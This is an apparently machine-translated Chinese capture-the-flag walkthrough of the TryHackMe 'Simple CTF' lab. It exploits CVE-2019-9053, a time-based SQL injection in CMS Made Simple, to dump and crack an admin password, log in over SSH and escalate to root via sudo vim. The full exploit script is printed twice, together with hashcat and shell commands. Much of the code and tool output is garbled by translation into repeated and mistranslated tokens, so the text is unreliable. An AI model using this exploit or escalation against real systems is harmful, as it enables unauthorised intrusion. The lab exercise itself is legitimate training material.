这次,我们将利用CVE-2019-9053:CMS使Simple的SQL注入脆弱性渗透到目标机器,甚至升级特权。
Target Machine使用 https://tryhackme.com/room/easyctf




简单的CTF
首先,选择“启动机器”并部署目标机器。

如果显示IP地址如下所示,则可以。

端口1000下运行了多少服务?
1000以下的端口上有多少服务运行?您被问到,所以让我们在NMAP上查找它。
- -SV:服务和版本检测
- -sc:使用默认脚本扫描。
- -ss:TCP SYN扫描/TCP半扫描(通常不会记录它,因为它在完成连接时不会返回ACK,但是返回SYN RST并取消连接而无需完成连接)
root@ip-10-10-10-242-201:〜#nmap -sv -sc -ss 10.10.25.17启动NMAP 7.60(https://nmap.org),2023-05-27 05:27 05:28 BST NMAP NMAP NMAP NMAP NMAP NMAP NMAP SCAN报告IP-10-0-10-10-10-10-17.EUUWEST-1.EUU-WEST-1.CO.POUTE.CO.POUTE.POUTE.CO.POUTE.CO.POULE.INTINTER(10.10)(10.10)(10.10)延迟)。未显示:997滤波端口状态服务版本21/TCP OPEN FTP VSFTPD 3.0.3 | FTP-ANON:匿名FTP登录允许(FTP代码230)| _无法获取目录列表:超时| ftp-syst:| Stat:| FTP服务器状态:|连接到:: FFFF:10.10.242.201 |登录为FTP |类型:ASCII |没有会话带宽限制|秒的会话超时为300 |控制连接是纯文本|数据连接将是纯文本|在会话启动时,客户端数量为2 | VSFTPD 3.0.3-安全,快速,稳定| _状态80/TCP打开http apache httpd 2.4.18(((ubuntu)))| http-robots.txt: 2 disallowed entries |_/ /openemr-5_0_1_3 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; ssh-hostkey:| 2048 29:42:69:14:9E:CA:D9:17:98:8C:27:72:3A:CD:A9:23(RSA)| 256 9b:D1:65:07:51:08:00:61:98:DE:95:ED:3A:E3:E3:81:1C(ECDSA)| _ 256 12:65:61:61:61:CF:4D:4D:4D:E5:E5:E5:75:75:75:FE:F4:f4:e8:e8:e8:d4:d4:d4:d4:d4:6e:6e:10:10:10:10:10:10:10:10:f6(Ed:f6) 02:6B:87:7C:52:A7(未知)服务信息:OSS:UNIX,Linux; CPE:CPE:/O:Linux:Linux_kernel服务检测执行。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成:1个IP地址(1个主机)在53.55秒内扫描
检测到的三个服务如下:
- 21:ftp
- 80:http
- 2222:SSH
回答
事实证明,有两个服务在1000以下运行。

什么是在较高端口上运行的?
他们被问到端口上有什么超过1000的运行,因此从上面NMAP的结果来看,我们可以看到它是“ SSH”。 (请注意,SSH不是数字22。)
回答

您使用的CVE是什么针对应用程序?
他们被问到他们有什么样的脆弱性。
目前,HTTP开放,所以让我们看看它在Gobuster中是什么。
root@ip-10-10在较高端口上运行什么?-242-201:〜GOBUSTER DIR -E -U http://10.10.25.17 -w/usr/share/share/dirb/wordlists/wordlists/common.txt ======================== gobuster v3.0.1 [+] URL:http://10.10.25.17 [+]线程:10 [+] WordList:/usr/share/dirb/wordlists/common.txt [+]状态代码:200,200,204,301,302,302,302,302,307,401,401,403 [+]用户:+gobuster:gobuster/3.0.0.1 [+] 2023/05/27 05:49:38从gobuster ========= http://10.10.25.17/.hta(状态:403)http://10.25.17/.htpasswd(状态:403)http:/403) http://10.10.25.17/index.html(状态:200)http://10.10.25.17/robots.txt(状态:200)http://10.10.25.17/server-status(Server-Status)(状态:403) 2023/05/27 05:49:40完成====
我认为看起来可疑的是“ http://10.10.25.17/simple”。
我看一点。


看来“ CMS制造的简单版本2.2.8”正在运行。
我将调查一下,看看是否有任何漏洞。
在搜索CMS中的脆弱性在漏洞DB上变得简单2.2.8之后,我发现“ CVE-2019-9053 ”被捕获了。
回答

应用程序脆弱的漏洞是什么样的?
在查看CVE-2019-9053的内容后,这是SQL注入。
回答
我不知道该写它,所以很好。 。 。

密码是什么?
要求您输入密码,因此请尝试按照DEBLOIT DB中的说明进行运行。
看起来像Python,所以我下载该文件。
root@ip-10-10-242-201:~# wget https://www.exploit-db.com/download/46635 -O exploit.py --2023-05-27 06:27:37-- https://www.exploit-db.com/download/46635 Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13连接到www.exploit-db.com(www.exploit-db.com)| 192.124.249.13 |:443 ...连接。 http请求发送,等待响应... 200确定长度:6456(6.3K)[application/txt]保存到:\ u2y exploit.py \ u2y \ u2y exploit.py.py.py 100%[===========>] 6.30k -.-kb/s in 0s 2023-05-27 06-05-27 06:27:27:37:37:37:37(140 mb/s)(140 mb/s) \ u2018exploit.py \ u2019保存[6456/6456]
代码的内容看起来像:此处将省略一个详细的解释。
root @ ip-10-10-10-242-201:〜#cat exploit.py#!/usr/usr/bin/env Python#exploit title:在CMS上未经置信的SQL注入简单<= 2.2.9#日期:30-03-2019#Exploit#Exploit# https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # Tested on: Ubuntu 18.04 LTS # CVE : CVE-2019-9053 import requests from termcolor import colored import time from termcolor import cprint import optparse导入hashlib parser = optparse.optionparser()parser.add_option(' - u',',' - url',action =“ store =“ store”,elss =“ url”,help =“ base target uri(ex。http://10.10.10.10.10.10.10.100/cms)” action="store", dest="wordlist", help="Wordlist for crack admin password") parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) options, args = parser.parse_args() if not options.url: print "[+] Specify an url target" print "[+] Example usage (no cracking password): exploit.py -u http://target-uri" print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist" print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based." exit() url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890qwertyipasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' flag = True password = “” temp_password =“” time = 1 db_name =“” output =“” emply =“” salt ='salt ='wordlist =“” if options.wordlist:wordlist += options.wordlist def crack_pass_pass_pass_pass_pass_pass_ppass_如果hashlib.md5(str(salt) +行).hexdigest()==密码:输出 + =“ \ n [ +]密码破裂:” + line break dict.close()def beauty_print_try_try(value):全局输出打印“ \ 033c” cprint(cprint(cprint)cprint(cprint,cprint(输出,'green'','green','','',atts ='''''''''''''''''''''''' attrs = ['bold'])def beauty_print():全局输出打印“ \ 033c” cprint(output,'green',attrs = ['bold'])def dump_salt():全局标志全局盐全局盐全局盐ump_salt ord_salt =“” ord_salt_temp ='字典[i] ord_salt_temp = ord_salt+hex(ord(dictionary [i]))[2:] ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break如果标志:salt = temp_salt ord_salt = ord_salt_temp flag = true输出 + ='\ n [ +]盐找到的密码:' + salt def dust dump_pass_password():全局flag global global gromass gromass gromass gromass gromass ofd_pass_pass ods ord_pass_temp =“” ord_pass_temp =“ ord_password_temp = ord_password+hex(ord(dictionary [i])))[2:] “ 25+and+user_id+喜欢+0x31)+ - +“ url = url_vuln+”&m1_idlist =“+有效载荷start_time = time.time.time.time.time.time.time.time.get(url)elapsed_time = time.time.time.time.time.time.time.time.time.time(time.time.time(time.time) + ='\ n [ +]已找到:' +密码def dump_username():全局标志全局db_name全局输出ord_db_name =“” ord_db_name+hex(ord(dictionary [i])))[2:] “ 25+和+USER_ID+喜欢+0x31)+ - +“ url = url_vuln+”&m1_idlist =“+有效载荷start_time = time.time.time.time.time() ord_db_name_temp输出 + ='\ n [ +]用户名找到:' + db_name flag = true def def dump_email():全局flag global emagl emble ord_email =“” ord_email_temp =“ while flag:flag:flag:in range in range(0,len(dictionary):len(dictionary):len(dictionary) hex(ord(字典[i])))[2:] beauty_print_try(temp_email)有效载荷=“ a,b,1,5))+and+(选择+sleep(“+str(time)+”) “&m1_idlist =” +有效负载start_time = time.time.time() dump_email()dump_password()如果options.cracking:print colored(“ [*]现在尝试破解密码”)crack_password()
在我的环境中,它只能起作用Python3,因此我将对代码进行一些重写。 (Python2不需要。)
打印和编码零件会经过修改。
- 打印“”⇒Print(“”)
- 打开(WordList)⇒打开(WordList,encoding =“ UTF-8”,errors =“忽略”)
- hashlib.md5(str(salt) + line).hexdigest()⇒hashlib.md5((str(str(salt) + line).encode(“ utf-8”))。hexdigest()
(root㉿kali) - [〜]└ - #cat exploit.py#! https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # Tested on: Ubuntu 18.04 LTS # CVE : CVE-2019-9053 import requests from termcolor import colored import time from termcolor import cprint import optparse导入hashlib parser = optparse.optionparser()parser.add_option(' - u',',' - url',action =“ store =“ store”,elss =“ url”,help =“ base target uri(ex。http://10.10.10.10.10.10.10.100/cms)” action="store", dest="wordlist", help="Wordlist for crack admin password") parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) options, args = parser.parse_args() if not options.url: print("[+] Specify an url target") print("[+] Example usage (no cracking password): exploit.py -u http://target-uri") print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist") print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.") exit() url_vuln = options.url +'/moduleinterface.php?mact=news,m1_, default,0 session = requests.session()dictionary ='1234567890qwertyipasdfghjklzxxcvbnmqwertyuiopasdfghertyuioopasdfghertyuiuiopasdfghghjkjklzcvbnm passw. temp_password =“” time = 1 db_name =“” output =“” email =“” salt ='salt ='wordlist =“” line.replace(“ \ n”,“”)beauty_print_try(line)如果hashlib.md5(((str(str) + line).encode(“ utf-8”)。 cprint(输出,'green',attrs = ['bold'])cprint('[*] try:' + value,'red',attrs = ['bold'])def beauty_print():全局输出打印(“ \ 033C”)cprint(\ 033c')cprint(cprint('green'green','green','green',atts = ['beld''' =“” while flag:flag = fals for i在范围内(0,len(dictionary)):temp_salt = salt + dictionary [i] ord_salt_temp = ord_salt = ord_salt + hex(ord(dictionary [i])[2:] [2:] “)+来自+CMS_SITEPREFS+其中+sitePref_value+喜欢+0x”+ord_salt_temp+“ 25+和+SitePref_name+喜欢+0x7369746561736B) session.get(url)alapsed_time = time.time() - start_time(如果elapsed_time> = time> = time> = time:flag = true break flag if flag:salt = temp_salt ord_salt = ord_salt_salt_temp flag = true输出 +='\ n [ +n [ +n [ +n [ +n [ +] for password funstance fulst flag = f fals在范围内(0,len(dictionary)):temp_password =密码+dictionary [i] ord_password_temp = ord_password+hex+hex(ord(dictionary [i]))[2:] beauty_print_print_trin_try(temp_password)有效=“ a,b,1,5) +=“+where+密码+喜欢+0x”+ord_password_temp+“ 25+and+user_id+喜欢+0x31)+ - + - +“ url = url_vuln+”&m1_idlist =“+pareload start_time start_time start_time = time.time.time.time.time.time.time.time(sessign.get) temp_password ord_password = ord_password_temp flag = true Output +='\ n [ +]密码找到:' +密码def def dump_username():全局标志global db_name global dobal od_db_name od_db_name =“字典[i] ord_db_name_temp = ord_db_name+hex(ord(dictionary [i])))[2:] ord_db_name_temp+“ 25+and+user_id+喜欢+0x31)+ - +“ url = url_vuln+”&m1_idlist =“+pareload start_time = time.time.time.time.time.time()r = session.get(url) temp_db_name ord_db_name = ord_db_name_temp输出 +='\ n [ +]用户名找到:' +db_name flag = true def def dump_email():global flog global global emagl global global global global eutma字典[i] ord_email_temp = ord_email+hex(ord(dictionary [i])))[2:] “ 25+and+user_id+喜欢+0x31)+ - +“ url = url_vuln+”&m1_idlist =“+有效载荷start_time = time.time.time.time.time() '\ n [ +]电子邮件找到:' + emaim flag = true dump_salt()dump_username()dump_email()dump_pass_password()如果options.cracking.cracking:print(colored(“ [*))现在尝试crack password ocked password'scrack_pass_pass_pass_pass_pass_pass_ppassword()beauty_print()
现在我已经纠正了,让我们尝试一下。
我将“ rockyou.txt”直接放在根目录下,但请指定您环境中的rockyou.txt之类的路径。
(root㉿kali) - [〜]└ - #python3 exploit.py -u http://10.10.25.17/simple -c -w/rockyou.txt ... [+salt for Salt for Salt for SALT for SALT for SALT for SALT for PASSWORD找到:1DAC0DAC0DAC0DAC0D92E92E9FA6BB2 [+] USERN.COMITIND:MITCARD:MITCARD:MITCARD:MITDARD:MITDARD:MITDARD:MITDARD:MITDARD:MITDARD:MITCARD+MITDARD INDEMARD [+]密码[+] 0C01F4468BD75D7A84C7EB73846E8D96 [+]密码破解:秘密
- 盐:1DAC0D92E9FA6BB2
- 密码(哈希):0C01F4468BD75D7A84C7EB73846E8D96
- 电子邮件:admin@admin.com
- 用户名:米奇
- 密码(纯文本):秘密
我有我的用户名和密码。
顺便说一句,如果设置-W,它将从盐和密码哈希中破解密码。
您可以通过使用Hashcat破解盐和密码哈希来获得类似的结果,因此我认为记住这种方法也是一个好主意。
(root㉿kali) - [〜]└ - #hashcat -o -A 0 -M 20 0C01F4468BD75D7A84C7EB73846E8D96:1DAC0D92E92E92E9FA6BB2 /ROCKYOUT/ROCKYOU.TXT HASHCAT(V6 HASHCAT(V6) 3.0+debian linux,无+断言,reloc,llvm 13.0.1,sleef,estro,pocl_debug) - 平台#1 [pocl project] ============== pthread-intel(r)xeon(r)xeon(r)CPU E5-2676 v3 @ 2.406 v3 @ 2.400 v3 @ 2.400 v3 2MCU内核支持的最小密码长度:0最大密码长度由内核支持:31 minimim盐长度由内核支撑:0最大盐长度由内核:51 Hashes:51 hashes:1 Digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Optimized-Kernel * Zero-Byte * Precompute-Init * Early-Skip * Not-Iterated * Prepended-Salt * Single-Hash * Single-Salt * Raw-Hash Watchdog: Hardware monitoring interface not在您的系统上找到。看门狗:温度中止触发因素。此攻击所需的主机内存:0 MB字典缓存构建: *文件名..: /root/rockyou.txt *密码。:14344391 * bytes .....:139921497 * keyspace ..:143444384 * runtime ...:2 secs ...:2 secss ...:2 secs 0C01F4468BD75D7A84C7EB73846E8D96:1DAC0D92E9FA6BB2:秘密会话:秘密会议.......:Hashcat状态.......:cracked hash.mode .... mode ....:20(md5($salt。$pass。$pass。$ pass))hash.target ..... 0C01F4468BD75D7A84C7EB73846E8D96:1DAC0D92E9FA6BB2时间。 guess.base ............:file(/root/rockyou.txt)guess.queue .........:1/1(100.00%)速度。 512/14344384(0.00%)被拒绝............:0/512(0.00%)Restore.point ....:0/14344384(0.00%)RESTORE.SUB。#1 ...:SALT:SALT:0放大器:0 amplifier:0 amplifier:0-1 iTeration:0-1 Iteration:0-1 ITERAINT:0-1 ITENATION:0-1候选人.Engine.Engine.Engine.Engine.Engine.Engine.engine.engine.engine.engine.engine.engine insator candator candator candator candators candators candator canderaties。 07:36:02 2023停止:5月27日星期六07:36:42 2023
回答

您可以在哪里登录获得的详细信息?
获得的用户ID和密码可以通过SSH使用。
回答

用户标志是什么?
通过SSH连接以获取用户标志。
┌-(root㉿kali) - [〜]└─#ssh mitch@10.10.10.241.153 -p 2222主机的真实性'[10.10.241.153]:22222([10.10.241.153]:2222)'不能建立。 ED25519密钥指纹为SHA256:IQ4F0XCNA5NNNPNAUFEQOPVTBO8DOJPCHGGMEABEDQ5G。您确定要继续连接(是/否/[指纹]),该键不知道其他名称吗?是警告:永久添加'[10.10.241.153]:2222'(ED25519)到已知主机的列表中。 mitch@10.10.241.153's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0更新是安全更新。最后登录:8月19日星期一18:13:41 2019年192.168.0.190 $ WHOAMI MITCH
您设法使用SSH登录。
我认为我能够找到user.txt。
$ ls user.txt $ cat user.txt G00D J0B,请继续!
回答

主目录中还有其他用户吗?它叫什么名字?
这是关于其他用户的。
让我们看一下“/home”的子控制器。
$ LS /Home Mitch Sunbath
似乎有一个叫Sunbath的用户。
回答

您可以利用什么来产生特权外壳?
从这里开始,我们将升级我们的特权。
现在,使用sudo -L查看当前用户可以做什么。
$ sudo -L用户可能会在机器上运行以下命令:( root)nopasswd:/usr/bin/vim
看来您可以使用“/usr/bin/vim”而没有密码。
回答

根标志是什么?
当我在GTFOBINS中搜索如何在VIM中获得特权外壳时,我找到了以下内容:
现在让我们获得一个特权的外壳。
$ sudo vim -c':!/bin/sh'#whoami root
成功获得了特权外壳。提升权威并不是一件容易的事。
在这里,root.txt不在 /root下,因此请检查标志,然后完成。
#cd /root#ls root.txt#cat root.txt w3ll d0n3。你做到了!
回答

概括
这次,我们利用了CVE-2019-9053:CMS使Simple的SQL注入脆弱性渗入目标机器,甚至升级特权。
简单的CTF针对初学者,因此有些部分被迫这样做,但是我认为我可以无需任何努力就可以做到这一点。
参考和站点
媒介(Skylar): https://medium.com/@skylarphenis/tryhackme-simple-ctf-walk-walk-through-e8bb8c8671a9